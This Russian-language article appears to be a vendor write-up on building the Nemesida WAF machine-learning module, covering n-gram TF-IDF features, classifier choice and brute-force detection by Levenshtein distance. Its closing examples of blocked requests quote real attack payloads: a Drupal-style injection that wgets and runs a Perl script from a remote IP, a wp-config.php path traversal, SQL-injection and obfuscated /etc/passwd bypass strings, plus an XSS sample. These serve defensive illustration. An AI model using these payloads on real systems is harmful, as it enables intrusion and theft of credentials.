Как мы разрабатывали модуль машинного обучения, почему решили отказаться от нейронных сетей в сторону классических алгоритмов, какие атаки выявляются за счет расстояния Левенштейна и за счет чего достигается точность их обнаружения.

Посмотрев на рост популярности машинного обучения и зная, что HTTP-запросы представляют собой обычный текст (пусть и неосмысленный), а синтаксис протокола позволяет интерпретировать данные как строки:

Пример легитимного запроса:

28/Aug/2018:16:55:24 +0300;
200;
127.0.0.1;
http;
example.com;
GET /login.php HTTP/1.1;
PHPSESSID=vqmi2ptvisohf62lru0shg3ll7;
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0
Safari/537.21;
-;
-;
-----------START-BODY-----------
-;
-----------END-BODY----------

Пример нелегитимного запроса:

28/Aug/2018:16:55:24 +0300;
200;
127.0.0.1;
http;
example.com;
GET %2Flogin.php%3Fsearch%3D%3Cscript%3Ealert%281%29%3C%2Fscript%3E HTTP/1.1;
PHPSESSID=vqmi2ptvisohf62lru0shg3ll7;
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0
Safari/537.21;
-;
-;
-----------START-BODY-----------
-;
-----------END-BODY---------

мы решили попробовать реализовать модуль машинного обучения («Nemesida AI») для обнаружения атак на веб-приложение.

Перед тем, как приступить к разработке, была сформулирована задача:

Научить модуль машинного обучения выявлять атаки на веб-приложения по содержимому HTTP-запроса, то есть производить классификацию запросов (как минимум, бинарную: легитимный или нелегитимный запрос).

Адаптация схемы классификации строк

Используя общую схему классификации строк, произведем её анализ и адаптацию под нашу задачу:

Этап 1. Обработка трафика.
Анализируем поступающие HTTP-запросы с возможностью их блокирования.

Этап 2. Определение признаков.
Содержимое HTTP-запросов не является осмысленным текстом, поэтому для работы с ним используем не слова, а n-граммы (выбор n – тоже отдельная задача).

Этапы 3 и 4. Фильтрация.
Этапы относятся больше к осмысленному тексту, поэтому для решения задачи они не требуются, исключаем.

Этап 5. Преобразование в векторный вид.
На основе анализа научных исследований и существующих прототипов была построена схема работы модуля машинного обучения, а после анализа данных сформировано признаковое пространство из элементов. Поскольку большинство признаков являются текстовыми, производилась их векторизация для дальнейшего использования в алгоритме распознавания. А так как поля запросов не являются отдельными словами, и, зачастую, состоят из последовательностей символов, было принято решение об использовании подхода на основе анализа частоты встречаемости n-грамм (TF-IDF).

Задача обнаружения атак с математической точки зрения формализовалась как классическая задача классификации (два класса: легитимный и нелегитимный трафик). Выбор алгоритмов производился по критерию доступности реализации и возможности тестирования. Наилучшим образом себя показал алгоритм градиентного бустинга (AdaBoost). Таким образом, после обучения принятие решения Nemesida WAF осуществляется c учетом статистических свойств анализируемых данных, а не на основе детерминированных признаков (сигнатур) атак. В нашем случае вместо "мешка слов" мы используем n-граммы.

Этап 6. Выделение словаря признаков.
Забираем результат работы алгоритма TF-IDF и уменьшаем число признаков (управляя,
например, параметром частоты встречаемости).

Этап 7. Обучение алгоритма.
Производим выбор алгоритма и его обучение. После обучения (при распознавании) работают только блоки 1, 5, 6 + распознавание.

Классические алгоритмы и глубинное обучение

В Nemesida AI мы используем классические алгоритмы машинного обучения, не требующие, в отличие от нейронных сетей, больших вычислительных мощностей.

Глубинное обучение обеспечивает высокую точность, но:

  • требует больших затрат на ресурсы, как для процесса обучения (на GPU), так и для процесса распознавания (inference может быть и на CPU);
  • время, затрачиваемое на обработку запросов, существенно превышает время обработки с использованием классических алгоритмов.

Поскольку не все потенциальные пользователи Nemesida WAF будут иметь возможность приобрести сервер с GPU для глубинного обучения, и время обработки запроса является ключевым фактором, мы решили использовать классические алгоритмы, которые при наличии хорошей обучающей выборки обеспечивают близкую к методам глубинного обучения точность и хорошо масштабируются на любую платформу.

Классические алгоритмы Многослойные нейронные сети
1. Высокая точность только хорошей обучающей выборки.

2. Отсутствуют высокие требования к аппаратному обеспечению (GPU).

1. Высокие требования к аппаратному обеспечению (GPU).

2. Время обработки запросов существенно превышает время обработки с помощью классических алгоритмов.

Стратегия разработки ML

При разработке модуля «Nemesida AI» была использована следующая стратегия:

  • Фиксируем уровень ложных срабатываний на значении (до 0.04% на 2017 г., до 0.01% на 2018 г.);
  • Увеличиваем до максимума уровень обнаружения при заданном уровне ложных срабатываний.

Исходя из выбранной стратегии, параметры классификатора выбираются с учетом выполнения каждого из условий, а результат решения задачи по формированию обучающих выборок двух классов на основе модели векторного пространства (легитимного трафика и атак) напрямую влияет на качество работы классификатора.

Обучающая выборка нелегитимного трафика базируется на существующей базе атак, получаемых из различных источников, а легитимного трафика — на основе запросов, приходящих на защищаемое веб-приложение и распознанных сигнатурным анализатором как легитимных. Такой подход позволяет адаптировать систему обучения «Nemesida AI» под конкретное веб-приложение, снижая уровень ложных срабатываний до минимума. Объем формируемой выборки легитимного трафика зависит от объема свободной оперативной памяти сервера, на котором функционирует модуль машинного обучения. Рекомендуемым параметром для обучения моделей является значение в 400.000 запросов при 32 ГБ свободной ОЗУ.

Кросс-валидация

Используя оптимальное значение коэффициентов для кросс-валидации, был выбран метод на основе случайного леса («Random Forest»), который позволил нам достичь следующих показателей:

  • количество ложных срабатываний (False Positive): 0.01%
  • количество пропусков (False Negative): 0.01%

Таким образом, точность выявления атак на веб-приложение модулем «Nemesida AI» составляет 99.98%.

Блокирование brute-force атак

Nemesida WAF выявляет атаки методом перебора (brute-force атаки), в том числе распределенные (с использование распределенных вычислительных сетей), при этом анализ производится на копии запросов, не увеличивая время отклика веб-приложения.

В Nemesida AI выявление brute-force атак производится по следующему принципу:

  • Анализируем копии запросов, поступающих на веб-приложение.
  • Извлекаем необходимые для принятия решений данные (IP, URL, Args и Body).
  • Фильтруем полученные данные, исключая нецелевые URI для уменьшения количества ложных срабатываний.
  • Рассчитываем взаимные расстояния между запросами (мы выбрали расстояние Левенштейна и нечеткую логику).
  • Выбираем запросы с одного IP на конкретный URI по мере их близости или запросы со всех IP на конкретный URI (для выявления распределенных BF-атак) в рамках определенного временного окна.
  • Блокируем источник(и) атаки при превышении пороговых значений.

Результат работы модуля «Nemesida AI»

При наличии хорошей обучающей выборки классические алгоритмы обеспечивают близкую к методам глубинного обучения точность, хорошо масштабируются на любую платформу и позволяют выявлять в том числе распределенные brute-force атаки и атаки «нулевого дня» с минимальным количеством ложных срабатываний.

Запросы, заблокированные по совокупности признаков аномалий:

...
URI:    /user/password
Args:   name[#post_render][0]=printf&name[#markup]=ABCZ%0A
UA:     Python-urllib/2.7
Cookie: -
...
...
ARGS:    action=revslider_show_image&img=../wp-config.php
Cookies: -
...
...
Args:   q=user%2Fpassword&name%5B%23markup%5D=cd+%2Ftmp%3Bwget+146.185.X.39%2Flug
%3Bperl+lug%3Brm+-rf+lug&name%5B%23type%5D=markup&name%5B%23post_render%5D%5B
%5D=passthru
UA:     python-requests/2.5.3 CPython/3.4.8 Linux/2.6.32-042stab128.2
...

Попытки обхода WAF:

...
Body: /?id=1+un/**/ion+sel/**/ect+1,2,3--
...
...
Args: %2f???%2f??t%20%2f???%2fp??s??
...
...
Args: ;+cat+/e't'c/pa'ss'wd
...
...
Args: (sy.(st).em)(ls);
...